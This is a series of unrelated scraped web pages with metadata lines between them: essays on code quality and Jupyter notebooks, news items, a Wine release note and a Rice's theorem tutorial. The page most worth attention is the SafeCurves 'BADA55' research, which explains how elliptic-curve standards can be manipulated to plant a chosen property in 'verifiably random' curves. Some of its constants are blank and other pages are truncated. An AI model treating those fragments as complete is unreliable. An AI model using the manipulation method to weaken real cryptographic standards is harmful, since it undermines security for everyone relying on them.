each line click together like Legos, forming simple and correct functions, which in turn click together into simple modules and simple programs. In bad code, you read a function, ask whether it works, and then read a dozen more in order to have an answer. Changes must be made as tenderly as one playing Jenga, lest the tower collapse. Good code works by design. Bad code by coincidence. **Good code makes it easy to recover the intent of the programmer** A programmer dreams a new entity. Her mind gradually turns dream into mechanism, mechanism into code, and the dreamed entity is given life. A new programmer walks in and sees only code. But in his mind, as he reads and understands, the patterns emerge. In his mind, code shapes itself into mechanism, and mechanism shapes itself into dream. Only then can he work. For in truth, a modification to the code is a modification to the dream. Much of a programmer's work is in recovering information that was already present in the mind of the creator. It is thus the creator's job to make this as simple as possible. But to do so is a constant struggle. Every naming decision is a quest to find the word that conjures in the reader's mind the true purpose of the named while warding off misconceptions. Every function, a quest to carve behavior into something meaningful. Every module, a quest to create new words that give new powers to the wielder. Through each such step, we climb towards the ideal of making the program written not in the language of the machine, but in the language of the dream. They say that for those who have reached the peak, they can simply dream changes to the program and it is instantly so. But great powers are had even by those who only make it partway. **Good code expresses intent in a single place** But it is not enough for it to be easy to go from code to design. It must also be easy to change the design to new code. The shaper of atoms walks into a room under construction, wide open and brightly lit. “No!” he cries. “I want it to be dark and intimate.” Before him a vast itinerary of work is created, as that one directive demands thousands of strokes of the paintbrush and new choices for every object so contained. The shaper of bits walks into a website, and says she wants a dark mode. In good code, she speaks the new colors that comprise a dark mode, and it is so. In great code, she merely speaks “dark mode” and the colors are inferred. Yet all too often such a change, though simple, requires tweaks in thousands of locations, like a thousand well-coordinated strokes of the brush. The bits should be easier to change than the atoms, for they live inside the machine. Yet they can be harder, for there are so many more of them. **Good code is robust** If every line serves a purpose, then every line must be correct. That means that every line is a new opportunity for a mistake to slip in unnoticed. And how easy it is to make a mistake is something under the control of the software designer. Some codebases are so treacherous that working in them is like a tightrope walk across the Grand Canyon. There are functions which require consulting a tome to invoke correctly. Writing to a data structure can produce nonsense. Reading from a data structure may produce only a partial story. Other codebases are more like an elevator ride, to the point where not even deliberate effort can produce an accident. In such code, APIs have guardrails, where any misuse is either disallowed or can only be accomplished by spray-painting on a red flag. Try as you might, no write to a data structure can produce nonsense. If it compiles, it probably works. As Tony Hoare says, one can write code so simple there are obviously no bugs, or so complex that there are no obvious bugs. If you must think as hard as you can to check that a program works, it probably doesn't. But in good code, you barely need think at all. **Good code hides secrets** Software is not a point in time but a system. And it is not one system, but many interacting ones. And each is constantly morphing. But if it looks and acts the same on the outside, no-one will ever know. It does not matter to the driver when a car's engineer changes its wiring. Unless, that is, the manual had told her in great detail what to expect from its electrical system and she had come to depend on it. The one who learns the car's battery can charge 5 cell phones for exactly 433 minutes before dying is the one able to achieve maximum performance. But, in a changing world, the one who uses this forbidden knowledge tiptoes close to ruin. Subsystems are joined when their creator's minds are joined, in conversations that should not occur sharing details that should not be shared. Or when the single master fails to erect a firewall in his own mind. The hotshot boasts about knowing everything. She creates software that can only be worked on by her fellow all-knowing. The master's virtue is knowing nothing. And that's enough to maintain his software. **Good code isolates assumptions** Minimizing use of knowledge is the path to evolvability. Secrets are but the extreme, known only to their owners. Every use of knowledge ties the program to the World That Was, hindering the creation of the World That Could Be. For every datum, there are the components that create it, the components that use it, and those in between that merely deliver it. Do those components pass the datum along like a sealed package? Or are those couriers prying into its contents? A value is passed from one end of the program to another. Every function on the way that calls the value an “int” is another barrier to making it a float. And every function on the way that calls it anything is another barrier to turning this value into two numbers. The physical world is full of irreversible changes. Build a building and the town shapes around it; burn it back down and forever shall the wind be tainted with its ashes. But when it comes to reshaping the world of bits, the only thing in a programmer's way is himself. **Good code is open** Programs deal with a domain, and both program and domain can be sliced countlessly many ways into sets. Sets of options! Sets of fields! Sets of formats! Sets of formats of fields which represent options! And as programs and domains change, such sets grow and shrink. When good code deals with such a set, it is to the extent possible agnostic to the set's size. The simpleton sees an entity with two possible values, and builds the program using a boolean. The next day, the possibilities have grown to three. A rewrite is required. There is a set of three kinds of entities, and a program is written that can work with each of them. Then comes the day where one is deprecated. If the program was open in this set, then the relevant code is already in a box that can be discarded. If the program was closed, then branches all throughout have become skeletons demanding burial. The open-minded person accepts new things. So does the open program. **Good code uses a programmer's full wisdom** The journeyman programmer finds a list of 10 principles for good code. She studies them one by one, and after years of toil attains mastery. Before her the baffling complexity of programs stood as stalagmites of wax; before her gaze, it has now melted down and separated into buckets. The path there is one of toil. Every place where intuition says the code could be simpler, she seeks how. Every issue that was hard to debug, she searches for how it could have been prevented. And then she declares “that is all.” Her apparent mastery has brought her respect, and her skill cleaves problems that foil others. She accepts her place at the top and rests. But the one with the potential to become a grandmaster does not rest. They notice the dregs of wax that fall outside the buckets and see in them opportunities to find new explanations. As they search ever deeper, the buckets dissolve and reveal the interconnected whole. As with the programmer learning a codebase, they have stepped into the dream behind the concepts, and are now ready to dream themselves. This list came from years of observation, reflection, study, teaching, and refinement. It is yours now to study, criticize, preach, ridicule, and extend. ## Resources **On modularity:** The 3 Levels of Logic **On intent:** My Favorite Principle for Code Quality **On Robustness:** State of emergency! The four ways your state might be wrong **On Secrets:** David Parnas, “The Secret History of Information Hiding” I mostly lack public resources on openness and the sequestering of assumptions, although refunctionalization is one technique for achieving it. But for all of these, the best way to learn them is through deliberate practice. And for that, we have the Advanced Software Design Course. *Thank you to Nils Eriksson, Jun Hong “Nemo” Ya”, Emmanuel Genard, Paul Weidinger, and Yongming Han for comments on earlier drafts of this essay.* An insight here that I don't often see discussed is modularity at the level of the *line*. I find this very helpful, because if you start at the most granular level, the principal is simple and unencumbered with the constructs of any particular language or paradigm. Then the idea can be applied to all constructs and all levels of granularity in a fractal manner. ReplyDeleteI don't agree with this statement: "Yet it is often easy to predict that code will change. Or even where. And that's all that's needed to create evolvable code." I actually found the opposite, i.e. the change is never predictable. Often is the case that you think some functionalities may extend in the future ---- in terms of software design. But actually they never change. And where you think it's not very likely to change, the change unexpectedly happens. Why? Because in most MIS, developers don't know the business well but it's business guys that propose change. As developers can't predict business change, they can't predict code change. ReplyDeleteCan you give a concrete example of a specific shocking change? You may be right, but it could also be something where someone with the right skill would have designed it more flexibly. DeleteSome of the phrasing used in "Good code uses a programmer's full wisdom" reminded me of the text posted at https://pastebin.com/BXk519Hp (which is similarly named to, but quite different to the widely quoted "Tao of Programming"). I think it contains quite some truths useful to (advanced) programmers. ReplyDeleteThis is cool! Where is it from? Nothing is coming up when Googling. Delete

Lessons on code quality start in the first few weeks of learning to program, when a newcomer to the field is taught the basics of variable n...

2024-10-12 00:00:00

2023-07-18 00:00:00

pathsensitive.com

pathsensitive.com

http://www.nasdaqomx.com/digitalAssets/87/87248_nomx_preliminaryfindings.pdf

https://yoramkornatzky.com/post/running-an-auction-with-a-time

Running an Auction with a Timer

Auctions Auctions are an excellent way to sell stuff when no preset market price can be determined efficiently. I am building an Auction Events Platform for Creators, where using fixed prices for physical creations would grossly undercut creators. How does an auction work? In a traditional live auction, an auctioneer stays tuned to the bids from the audience. After an idle period with no bids, he/the auctioneer says, X dollars, firsttime,X dollars, secondtime,X dollar, thirdtime, sold Of course, if a bid comes in, we start again. Over the last ten years, we have been running hybrid antique auctions, with the audience in the IRL hall and the audience online. These auctions last for a whole day, sometimes with 100-200 items. We observed that the traditional mechanism of calls is too time-consuming, as the competition for a majority of items is relatively short. At the same time, a minority of items cause lengthy competitions. To speed things up, we decide to run the calls on a timer. So, once an item comes up, we start a timer and reset it on each bid. Once a bid comes in, we start a second timer, which sets a duration for each phase: In each phase, we reset the timer once a bid comes in. The auctioneer will no longer declare anything except ** sold**. We project this timer to the audience in the hall and show it to the audience online. Our audience, both in the hall and online liked the quiet transition from bids to ** sold** for most items. The auctioneer took over the control from the timer once the competition heats up, as the audience became tuned. The timer came with a gaming aspect - when the timer goes off, we play a ring sound, similar to boxing competition. So we have been able to increase engagement significantly. To democratize auctions, we want the individual creators to be able to run an auction event efficiently. And in a way that would entertain and engage the audience IRL and online. The timer is one of a collection of small mechanisms that we experiment with to make the auction event engaging and efficient. Yoram Kornatzky

Competition in an auction is concentrated on a few items. To increase audience engagement, we run the first, second, third, and sold calls for the rest with a timer.

2024-10-12 00:00:00

2022-08-22 00:00:00

website

yoramkornatzky.com

yoramkornatzky.com

http://safecurves.cr.yp.to/bada55.html

SafeCurves:choosing safe curves for elliptic-curve cryptography

## SafeCurves: | | ## BADA55 elliptic curvesThis page has been superseded by bada55.cr.yp.to. You will be redirected there in 10 seconds. This page introduces four elliptic curves at three different security/performance levels: ## BADA55-VR Several standards, including Certicom SEC 2 1.0 (2000), IEEE Std 1363 (2000), ANSI X9.63 (2001), and Certicom SEC 2 2.0 (2010), recommend "verifiably random" elliptic curves, where "verifiably random" means that the curve coefficients are hashes of a public seed. The NIST elliptic curves are "verifiably random". The BADA55-VR curves are also "verifiably random". They are designed to address the following concerns regarding the NIST elliptic curves: The BADA55-VR curves are "verifiably random" using the SHA-3 competition winner Keccak rather than SHA-1. They are twist-secure, with cofactor 1 and twist cofactor 1. They use the same primes as the NIST curves, and the same curve shape x^3−3x+B; there are no known ways for discrete-logarithm attacks to exploit those primes. ## BADA55-VR-256 BADA55-VR-256 uses Keccak with 256-bit output ( The following Sage script includes the seed S and verifies that x^3−3x+B passes the standard security criteria (with cofactor 1), plus twist-security (with cofactor 1): S = 0x3ADCC48E36F1D1926701417F101A75F000118A739D4686E77278325A825AA3C6 B = 0x ## BADA55-VR-224BADA55-VR-224 uses the same hash function as BADA55-VR-256 but uses a smaller prime; of course, B is implicitly reduced modulo the prime. Sage script: S = 0x3CC520E9434349DF680A8F4BCADDA648D693B2907B216EE55CB4853DB68F9165 B = 0x ## BADA55-VR-384 BADA55-VR-384 is similar to BADA55-VR-256 but uses a larger prime. 256-bit output is not long enough so BADA55-VR-384 instead uses Keccak with 384-bit output ( S = 0xCA9EBD338A9EE0E6862FD329062ABC06A793575A1C744F0EC24503A525F5D06E B = 0x ## BADA55-VPR The Brainpool standard criticizes the NIST curves for the non-"motivated" choice of seeds and instead recommends "verifiably pseudorandom" curves using "systematic" choices of seeds. The standard specifies various curves x^3+Ax+B mod p where A and B are generated as hashes of seeds derived from e = exp(1), the base of natural logarithms, and p is generated as a hash of a seed derived from π. However, the method used to generate the Brainpool curves has come into question, as illustrated by the obviously nonrandom overlap of digits between the following coefficients A and B (underlines added): Curve-ID: brainpoolP256r1 p: A9FB57DBA1EEA9BC3E660A909D838D726E3BF623D52620282013481D1F6E5377 A: 7D5A0975FC2C3057EEF67530417AFFE7FB8055C1 Here is how this overlap was produced. Brainpool uses SHA-1, which generates only 160 bits, so Brainpool concatenates multiple SHA-1 outputs to obtain A, and concatenates multiple SHA-1 outputs to obtain B. Brainpool uses a single seed-increment function to search for the first secure curve, to move from the first part of A to the second part of A, and to move from A to B. (The complete procedure is more complicated and does not always produce the same type of overlap; see the Brainpool standard for full details.) Johannes Merkle, lead author of the Brainpool TLS RFC, writes "I admit that this is unfortunate." The BADA55-VPR curves are "verifiably pseudorandom" curves as recommended by Brainpool, with "systematic and comprehensive" explanations for their seeds. The BADA55-VPR curves are designed to address the following concerns regarding the Brainpool curves: The BADA55-VPR curves use maximum-security full-length SHA-3-512 (adequate for any reasonable prime size without concatenation), and complement the A seed to obtain a B seed that is guaranteed to be different. ## BADA55-VPR-224Brainpool already uses exp(1) = e and arctan(1) = π/4 (π and π/4 are equivalent here since bits are taken starting from the most significant), and MD5 already uses sin(1), so BADA55-VPR-224 uses cos(1). BADA55-VPR-224 generates the full 160-bit seed as a 32-bit counter followed by cos(1). It uses the first counter value that produces a secure curve. Sage script: cos1 = 0x8A51407DA8345C91C2466D976871BD2A print cos1 == Integer(RealField(128)(cos(1))*2^128) S = 0x000000B88A51407DA8345C91C2466D976871BD2A print S == 184*2^128 + cos1 # not verified by this script: 184 is first counter giving secure curve T = 0xFFFFFF4775AEBF8257CBA36E3DB99268978E42D5 print S+T == 2^160-1 A = 0x7144BA12CE8A0C3BEFA053ED ## Notes on terminology and security The name "BADA55" (pronounced "bad-ass") is explained by the appearance of the string We actually chose this string in advance and then manipulated the curve choices to produce this string. The BADA55-VR curves illustrate the fact that, as pointed out by Scott in 1999, "verifiably random" curves do not stop the attacker from generating a curve with a one-in-a-million weakness. The BADA55-VPR curves illustrate the fact that "verifiably pseudorandom" curves with "systematic" seeds generated from "nothing-up-my-sleeve numbers" also do not stop the attacker from generating a curve with a one-in-a-million weakness. We do not assert that the presence of the string We view the terminology "verifiably random" as deceptive. The claimed randomness (a uniform distribution) is not being verified; what is being verified is merely a hash computation. We similarly view the terminology "verifiably pseudorandom" and "nothing up my sleeves" as deceptive. ## ContributorsBADA55 is joint work by the following authors (alphabetical order): ## SlidesThe following presentation was given by Bernstein and Lange at the Eurocrypt 2014 rump session: (PDF) ## Papers[bada55] 18pp. (PDF) Daniel J. Bernstein, Tung Chou, Chitchanok Chuengsatiansup, Andreas Hülsing, Tanja Lange, Ruben Niederhagen, Christine van Vredendaal. How to manipulate curve standards: a white paper for the black hat. Document ID: bada55ecd325c5bfeaf442a8fd008c54. URL: https://cr.yp.to/papers.html#bada55. Date: 2014.07.22. ## AcknowledgmentsThis work was supported by the U.S. National Science Foundation under grant 1018836. "Any opinions, findings, and conclusions or recommendations expressed in this material are those of the author(s) and do not necessarily reflect the views of the National Science Foundation." This work was supported by the Netherlands Organisation for Scientific Research (NWO) under grant 639.073.005. This work was supported by the European Commission under Contract INFSO-ICT-284833 PUFFIN. Calculations were carried out on two GPU clusters: Version: This is version 2017.01.22 of the bada55.html web page. |

2024-10-12 00:00:00

2014-07-22 00:00:00

https://medium.com/@sachagreif/i-know-nothing-13002f986567

https://www.bloombergquint.com/law-and-policy/right-to-disconnect-a-bill-that-wants-you-to-go-offline-after-work

Right To Disconnect: A Bill That Wants You To Go Offline After Work

Divya Malani

# Right To Disconnect: A Bill That Wants You To Go Offline After Work ## A private member’s bill seeks to empower employees to go offline after work. This winter session Parliament saw a bill unheard of at least in the Indian workspace. A private member’s bill introduced by Nationalist Congress Party’s Member of Parliament Supriya Sule seeks to empower employees to go offline after work hours. That means no work calls or emails after office and on holidays. The Right to Disconnect is a privilege employees enjoy in many countries in Europe which have stringent labour laws. But is the Indian workspace ready for it? Rituparna Chakraborty, co-founder and executive vice-president at staffing firm TeamLease, said the bill should not be a top priority in a country that is in urgent need to reform labour laws. Moreover, there is no clear evidence of employees being penalised for not picking up work calls or for failing to respond to emails after work hours or on holidays. A legislation cannot mandate a solution for this problem. Because it is saying the employer cannot act against you. The materiality of such incidents where somebody has actually been taken to task for not taking a call is something I would like to question.Rituparna Chakraborty, Co-Founder & Executive VP, TeamLease Private members’ bills rarely become laws but this legislation has triggered debate in a country where working hours are among the longest in the world. A UBS report said Mumbai leads the list of cities across the world with people working an average of 3,314 hours a year. Faisal Farooqui, founder and chief executive officer of consumer review website MouthShut.com, said regulating the relationship between employers and employees through a legislation is not desirable when the digital economy is transforming the way people work with more flexible timings. Moreover, companies hunting for talent are more open now to giving employees the work-life balance they need. A huge number of companies every year are trying to become competitive in terms of attracting talent not just by offering higher salaries than their previous employer but by adopting a work-life balance culture.Faisal Farooqui, Founder And Chief Executive Officer, MouthShut.com **Watch the full debate here:**

A private member’s bill seeks to empower employees to go offline after work.

2024-10-12 00:00:00

2019-01-13 00:00:00

/icons/apple-touch-icon.png

article

ndtvprofit.com

NDTV Profit

http://datapeek.org/blog/to-thread-or-not

https://www.theverge.com/2023/4/21/23692517/google-ai-bard-chatbot-code-support-functions-google-sheets

Google’s Bard AI chatbot can now help you code and create functions for Google Sheets

Tom Warren

Google is updating its Bard AI chatbot to help developers write and debug code. Rivals like ChatGPT and Bing AI have supported code generation, but Google says it has been “one of the top requests” it has received since opening up access to Bard last month. Bard can now generate code, debug existing code, help explain lines of code, and even write functions for Google Sheets. “We’re launching these capabilities in more than 20 programming languages including C++, Go, Java, Javascript, Python and Typescript,” explains Paige Bailey, group product manager for Google Research, in a blog post. You can ask Bard to explain code snippets or explain code within GitHub repos similar to how Microsoft-owned GitHub is implementing a ChatGPT-like assistant with Copilot. Bard will also debug code that you supply or even its own code if it made some errors or the output wasn’t what you were looking for. Speaking of errors, Bailey admits that Bard “may sometimes provide inaccurate, misleading or false information while presenting it confidently,” much like many AI-powered chatbots. “When it comes to coding, Bard may give you working code that doesn’t produce the expected output, or provide you with code that is not optimal or incomplete,” says Bailey. “Always double-check Bard’s responses and carefully test and review code for errors, bugs and vulnerabilities before relying on it.” Bard will also cite the source of its code recommendations if it quotes them “at length.” Google is pushing ahead with its Bard chatbot despite reports that suggest employees repeatedly criticized the chatbot and labeled it “a pathological liar.” Google has reportedly sidelined ethical concerns to keep up with rivals like OpenAI and Microsoft. In our tests comparing Bard, Bing, and ChatGPT, we found Google’s Bard chatbot to be less accurate than its rivals.

Google’s chatbot gets a coding upgrade.

2024-10-12 00:00:00

2023-04-21 00:00:00

article

theverge.com

The Verge

https://hbr.org/2017/11/the-best-performing-ceos-in-the-world-2017

The Best-Performing CEOs in the World 2017

HBR Editors

## Summary. More than 15 years ago Jim Collins, the author of the management best seller Good to Great, introduced the flywheel as a metaphor for the enduring power of strong business leadership. A company achieves excellence, he wrote, by “relentlessly pushing a giant heavy flywheel in one direction, turn upon turn, building momentum until a point of breakthrough.” The power of momentum is evident in HBR’s 2017 ranking of the world’s best-performing CEOs—the 100 leaders who have delivered top results on both financial and ESG measures over their entire tenures, which average 17 years. Heading this year’s list—his first time in that spot—is Pablo Isla of Inditex, the parent of several retail fashion chains including Zara and Pull&Bear. In an accompanying interview with HBR senior editor Daniel McGinn, Isla discusses some of the factors—a flat structure and an informal management style; “proximity sourcing,” or production close to home; and a continual focus on sustainability—that have propelled the company’s success. More than 15 years ago the management writer Jim Collins introduced the flywheel as a metaphor for the enduring power of strong business leadership. A company doesn’t shift from “good to great” overnight, he wrote in his 2001 book of that name. Rather, it achieves excellence by “relentlessly pushing a giant heavy flywheel in one direction, turn upon turn, building momentum until a point of breakthrough, and beyond.” And once that flywheel starts spinning, Collins said, it tends to keep going.

More than 15 years ago Jim Collins, the author of the management best seller Good to Great, introduced the flywheel as a metaphor for the enduring power of strong business leadership. A company achieves excellence, he wrote, by “relentlessly pushing a giant heavy flywheel in one direction, turn upon turn, building momentum until a point of breakthrough.” The power of momentum is evident in HBR’s 2017 ranking of the world’s best-performing CEOs—the 100 leaders who have delivered top results on both financial and ESG measures over their entire tenures, which average 17 years. Heading this year’s list—his first time in that spot—is Pablo Isla of Inditex, the parent of several retail fashion chains including Zara and Pull&Bear. In an accompanying interview with HBR senior editor Daniel McGinn, Isla discusses some of the factors—a flat structure and an informal management style; “proximity sourcing,” or production close to home; and a continual focus on sustainability—that have propelled the company’s success.

2024-10-12 00:00:00

2018-10-22 00:00:00

/resources/images/article_assets/2017/10/R1706C_100CEOS.png

article

Harvard Business Review

https://www.winehq.org/announce/8.0-rc5

The Wine development release 8.0-rc5 is now available. This is

# Wine Announcement The Wine development release 8.0-rc5 is now available. This is expected to be the last release candidate before the final 8.0. What's new in this release: - Bug fixes only, we are in code freeze. The source is available at: https://dl.winehq.org/wine/source/8.0/wine-8.0-rc5.tar.xz Binary packages for various distributions will be available from: https://www.winehq.org/download You will find documentation on https://www.winehq.org/documentation You can also get the current source directly from the git repository. Check https://www.winehq.org/git for details. Wine is available thanks to the work of many people. See the file AUTHORS in the distribution for the complete list. ---------------------------------------------------------------- Bugs fixed in 8.0-rc5 (total 9): - #26822 Double click the icon in the title bar should close the window - #32643 getsockopt() does not indicate WSAEFAULT when setting optlen too small - #45542 WeGame hangs after login. - #50351 Slow text rendering in dofus linked to fnIMLangFontLink2_GetCharCodePages calling WideCharToMultiByte with CP_UNICODE - #51227 urlmon:url breaks the wininet:http test on Windows 10 1709+ (7 failures) - #51906 Multiple games fail to play videos (War Mongrels, The Medium, Sherlock Holmes Chapter One) - #53408 Dark Souls: Remastered has slow performance with OpenGL renderer - #53761 Broken rendering in Mafia III: Definitive Edition - #54283 dinput:force_feedback - test_windows_gaming_input() sometimes crashes on Windows ---------------------------------------------------------------- Changes since 8.0-rc4: Alexandre Julliard (1): tools: Always fall back to argv[0] to find the tools directory. Brendan Shanks (1): kernel32/tests: Test GetFileType() with additional types of handles. Byeong-Sik Jeon (1): po: Update Korean translation. Eric Pouech (3): kernel32/tests: Extend share right for debugger's black box tests. kernel32/tests: Merge two debug event loops in test_debugger(). kernel32/tests: Filter spurious thread creation debug events. Fan WenJie (1): winebuild: Only set thumb_mode on ARM targets. François Gouget (4): d3d12/tests: Allow a broken Windows 10 1709 hresult. nsi: Return an error if NsiAllocateAndGetTable() fails to allocate the tables. nsi: Add some margin to the tables size in NsiAllocateAndGetTable(). win32u: Document the font_lock handling in font_EnumFonts(). Gabriel Ivăncescu (1): notepad: Fix uninitialized upper 64-bits of `pos` in DoFind. Jactry Zeng (1): po: Update Simplified Chinese translation. Lauri Kenttä (1): po: Update Finnish translation. Robert Wilhelm (1): vbscript/tests: Fix chr() tests with double-byte character sets. Santino Mazza (2): iphlpapi/tests: Test for Ipv4Enabled and Ipv6Enabled flags. iphlpapi: Set Ipv4Enabled and Ipv6Enabled flags accordingly. Tim Clem (2): user32/tests: Test GetRawInputBuffer header fields more thoroughly. win32u: Correct GetRawInputBuffer alignment under WoW64.

2024-10-12 00:00:00

2024-01-01 00:00:00

http://media.codeweavers.com/pub/crossover/marketing/og/wine-hq-announcement.png

article

WineHQ

https://www.qanairy.com

http://blog.bottega8.com/what-saas-companies-can-learn-from-customers-at-the-mall/

What SaaS Companies Can Learn from Customers at the Mall

Rishi Talwar

A couple months ago, I found myself at the mall sitting down and waiting for my family to finish their shopping. Unconsciously, I started to observe people walking in-and-out of stores. Specifically, in my line of sight, was the Apple store and had got me thinking about the different types of customers walking in-and-out of the notable glass doors. I soon began to see these types of people going in-and-out of the store: - People who went in to the store and came out fast with a bag in hand compared to other customers. - People who browsed the store and didn’t purchase anything - People who were learning at the Genius bar - People who were being educated on a product and then buying a product I realized that these different types of people were in fact different types of customer segments of an in-store experience: - The customer who is just browsing - The customer who is actively searching for a solution - The customer who is discovering something for the first time - The customer who has domain knowledge of the landscape ## The Parallels Between the Real World and the Web As someone who builds and designs software my mind was naturally thinking about parallels between this real world scenario I was observing to the digital world. I began to see that stores can be analogous to SaaS product company websites. The customer segments are the same but the medium is different. Although, both the real world and digital world exist to provide value and solve people’s problems. From this insight, SaaS companies can learn a thing or two from this observation. Here are some examples of how these different customer segments can be satisfied when looking at a SaaS company’s website. Customer Segments | How a SaaS Company Can satisfy their Customer Segment | ---|---| The customer who is just browsing | | The customer who is actively searching for a solution | | The customer who has domain knowledge of the landscape and industry you’re in | | ## In Summary Your specific company may have a unique customer segment that you have to satisfy but the above is what I noticed to be the most common. Feel free to share your insights into how to satisfy different customer segments in the comments below.

2024-10-12 00:00:00

2014-12-17 00:00:00

bottega8.com

blog.bottega8.com

https://yobibyte.github.io/notebooks.html

notebooks are McDonalds of code

# notebooks are McDonalds of code You can come to McDonalds and order a salad, but you won't. Same with notebooks, you can write NASA-production-grade software in a notebook, but most likely you won't. Notebooks make you lazy, and encourage bad practices. ## common arguments I first watched this talk by Joel Grus and laughed hard. I later saw the extensive use of notebooks everywhere, even in production, and I don't laugh anymore. I'm scared and sad. This section will have arguments mostly from that talk, but I might add a couple more here in the future. ### state State is like Jesus from the Big Lebowski, you don't fuck with Jesus. But state will for sure fuck you up. You execute a cell, you change the variable value, save the colab and forget to execute the cell. Twenty minutes later you find a bug, hello there! ### versioning We've seen it before. `tfinal_final_final_of_final.xls` is back. You want to play with a notebook, you copy it, change a couple of cells. Two weeks later, you have 25 different versions, which one do you need? Good luck with that! ### bad habits This is exactly the McDonalds methaphor. If people are given a chance to be lazy, they will be (I will be for sure). Quickly hacking some stuff without properly testing? Sure! Linting? Pfff, living on the edge, you'll throw the colab away in an hour anyways. Writing everything in one file? Of course! Scrolling is so fun! ## notebooks slow you down Here I try making a point why using notebooks is bad for you personally. ### distractions I don't have a diagnosed ADHD, but I have 90% of the symptoms from the NHS website. I'm very easy to distract. And when I use colabs, I'm just one tab away from everything else. Wikipedia? Sure, let's open five more tabs. Gmail? Let's check the inbox! Youtube music? Let's change the playlist. You got it, my tmux pane with neovim or any IDE of your choice is far less destructive. ### execution environment Notebooks are often used as a playground to easily have access to an accelerator. In this case, the execution environment is often set up differently and with different dependencies. In this case, you make your code work in a colab, smile widely and run your experiment after on a cluster or whatever. You start crying in twenty minutes after your code crashes due to lack of dependency or versioning or anything else similar. ### efficiency Notebooks keep the state, you have all the data on your fingertips, you are not encouraged to optimise your code. When you rerun scripts, you want them be damn fast, you think more about the efficiency of your code. ### reading code I find notebooks broken for moving around the codebase. In neovim (or Pycharm, or VSCode), you can easily go to the place where the function is defined and change it, it's just one hotkey away. You can easily look at all the places where the function is used. How do you do that in a notebook? Do you go to your IDE and search for it? What do you do if you change a function? Reload the whole thing? Autoreload can help, but now you have to remember to rerun the cells you need and potentially fuck up your state if you skip a cell. ## notebooks slow your team down Enough with personal reasons, let's think about the issues affecting the whole team. ### breaking changes You use some function in a colab. Another developer changes the function signature and their IDE changes all other calls of this function in the code, but not in the notebooks! If the notebook is not used often (e.g. for leaderboarding), you are in for a treat. Apart from the frustration, this is also bad from the context switching and credit assignment perspective. Who is to fix this? You, who uses the notebook? Developer who changed the function signature? Both of the cases suck. ### awareness You don't usually check in notebooks in your version control system (if you do, I'm sorry). They usually pile up either locally or on some cloud drive. In this case, people are unaware of what's going on. When you check in your data analysis scripts or any modules, people can glance over PRs and have an idea of what's going on. Notebooks are like dark matter of development (yes, I have almost zero knowledge of physics, and still think I can use this metaphor here). ### fucking around -> production Some people like notebooks as they allow them to easily check some ideas and move on. However, when their ideas work out, they are having hard time moving this code to modules. Let's think about what you need to do. First, you need to move the code to modules, sometimes it's not just a single file, it can be multiple files across the codebase. Now you need to test it somehow. Personally for me, after I've moved the code, I'm already exhausted and sometimes bored. I know my code runs in a colab, why do I need to test it again? Often I end up not unit testing my code for this reason. But even if you don't test your code, you have to make sure that it runs and produces similar results to what you've had in a notebook. This also takes time and energy. ### sharing is caring You have hunderds of notebooks with useful utils that are accessible only to you. If that was a library within your team codebase, everyone could use that and the whole team could avoid code duplication. But as discussed earlier, you are not encouraged to move this to a module because you are lazy. ## FAQ I'll try to answer some common answers I get when I tell people I do not use notebooks. If your question is not here, let's chat on twitter. ### how do you do plotting? I have small utils that unify how my plots look. In case I want incrementally play with the plot, I pickle the data for it and run the plotting script for each iteration. ### how do you work with a remote machine? `sshfs` works greatly for these purposes in case you need interactivity. ### I am using code autoreload and write code in modules Nice! I've done this for a while as well. This is a good use-case. However, this approach does not address some of the issues, e.g. data analysis scripts should be checked by another team member. ### i considered you to be my friend, how could you do this to me? Hi Lucas, I'm not judging you. We can still be friends. But we can be better friends if you stop using notebooks. ### some of your points are valid, but why stop using notebooks completely? I don't think I'm losing much. I'm also constantly exploring other options and having fun.

2024-10-12 00:00:00

https://busy-beavers.tigyog.app/rice

Rice’s theorem

# Rice’s theorem ## An interactive tutorial Turing famously showed that computers can’t decide whether your code halts. But in 1951, Henry Rice proved a much more devastating result: “computers can’t decide *anything* interesting about your code’s input-output!” In this chapter, you’ll learn exactly what he meant, and how he proved it, by building on Turing’s famous theorem. Let’s start with a very practical question: can you replace a function with a regular expression? Imagine, one day at work, you come across this function in the codebase: ``` function isNumeric(str: string) { if (str === "") return false; for (const c of str) { if (!"0123456789".includes(c)) return false; } return true; } ``` Hmm, you think ... could calls to this function be replaced by a regular expression test, like `/a+/.test(str)` ? Yeah, we could replace it with something like: Actually, I think it could. We could replace it with something like this: ``` function isNumericRegex(s: string) { return /^[0-9]+$/.test(s); } ``` But wouldn’t it be cool if your IDE gave you a refactoring hint? Imagine: “function `isNumeric` can be replaced by a regular expression.” The IDE is smart enough to give us other hints, like “unused variable”. Would this regular expression test be much harder? ## Warm-up: `canBeRegex` If your IDE could make this decision, it would have an internal function like this: ``` function canBeRegex(funcStr: string) { /* Complex logic here */ } ``` `canBeRegex` takes the source code for a function, analyzes it, and returns `true` or `false` , telling us whether the function could be replaced with a regular expression. For example, what should the following call return? ``` canBeRegex(` function isLen3(s: string) { return s.length === 3; } `) ``` Yes, it could be replaced by the regex `^...$` , for example. Actually, I think it should return `true` . It’s considering this function: ``` function isLen3(s: string) { return s.length === 3; } ``` This function could be replaced by the regex `^...$` , or by `^.{3}$` , either of which matches strings that have exactly three characters. Let’s try another function, `bad_isLen3` : ``` function bad_isLen3(str: string) { for (let i = 0; i <= 99; i++); return str.length === 3; } ``` What should `canBeRegex` return when given the source code of `bad_isLen3` ? Yeah: `bad_isLen3` does some useless upfront work, but otherwise has the same input-output behavior as `isLen3` . Well ... yes, `bad_isLen3` does some useless upfront work that a regex probably wouldn’t do. But we don’t want our IDE to fuss over the implementation details or efficiency; it should just tell us whether there’s a regex that has the same input-output as the function. But now what about `awful_isLen3` : ``` function awful_isLen3(str: string) { for (let i = 0; i <= i; i++); // hmm return str.length === 3; } ``` Actually, this function is **not** replaceable by a regex. That `for` loop never halts, because `i <= i` is always true! This means that `awful_isLen3` never halts, and its input-output is actually equivalent to the `loop` function: Right, that `for` loop never halts! So `awful_isLen3` never halts, and its input-output is actually equivalent to the `loop` function: `function loop(s) { while(true); }` This is clearly not replaceable by a regex, so `canBeRegex` should return `false` on it. Perhaps you see the problem: doesn’t `canBeRegex` need to decide whether that first line halts? ## That old halting problem again In Chapter 1, we discovered the halting problem. Here’s a quick reminder: `function halts(code: string) { ... }` The `halts` function is given some JavaScript `code` in string form, and it must tell us whether it halts. For example, what should this return? ``` halts(` let x = 1; while (x > 0) x = x / 2; `) ``` No, `halts` should always halt, even if the function that it’s given does not halt! Alright, there are two reasonable answers here! If you think of `x` as a real or rational number, `x` would never reach 